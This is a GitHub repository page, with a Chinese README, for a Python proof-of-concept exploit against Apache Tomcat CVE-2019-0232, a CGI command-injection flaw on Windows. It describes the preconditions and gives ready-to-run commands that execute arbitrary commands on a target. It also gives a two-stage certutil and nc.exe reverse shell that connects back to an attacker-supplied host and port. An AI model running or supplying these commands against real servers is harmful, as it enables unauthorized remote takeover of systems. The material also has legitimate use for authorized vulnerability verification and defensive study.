yuzuki-ayanami/CVE-2019-0232
GitHub: yuzuki-ayanami/CVE-2019-0232
Apache Tomcat CVE-2019-0232 远程命令执行漏洞的 PoC 利用工具,通过 Windows 批处理文件命令注入实现漏洞验证与利用。
Stars: 0 | Forks: 1
CVE-2019-0232
Apache Tomcat CGIServlet enableCmdLineArguments RCE
Windows batch script injection via query string arguments
### 描述
Apache Tomcat 在启用 CGI servlet 且 `enableCmdLineArguments=true` 时,会将查询字符串参数作为命令行参数传递给 CGI 脚本。在 Windows 上,批处理文件(`.bat`/`.cmd`)会将 `&` 解释为命令分隔符,从而允许通过精心构造的 URL 执行任意命令。
### 前置条件
- 在 `conf/web.xml` 或 `WEB-INF/web.xml` 中启用了 CGI servlet
- CGI servlet 的 init-params 中设置了 `enableCmdLineArguments=true`
- 已部署并可以访问 CGI 脚本(例如 `ism.bat`)
- Windows 目标(`&` 注入需要批处理文件)
### 用法
```
git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
```
检查 CGI endpoint 是否存在:
```
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
```
执行命令:
```
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
```
Reverse shell(两阶段 certutil + nc.exe):
```
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444
```
### 环境要求
- Python 3.8+
- requests
- Windows 目标(该漏洞与特定操作系统相关)
标签:Apache Tomcat, CISA项目, Python, Web安全, 无后门, 蓝队分析, 逆向工具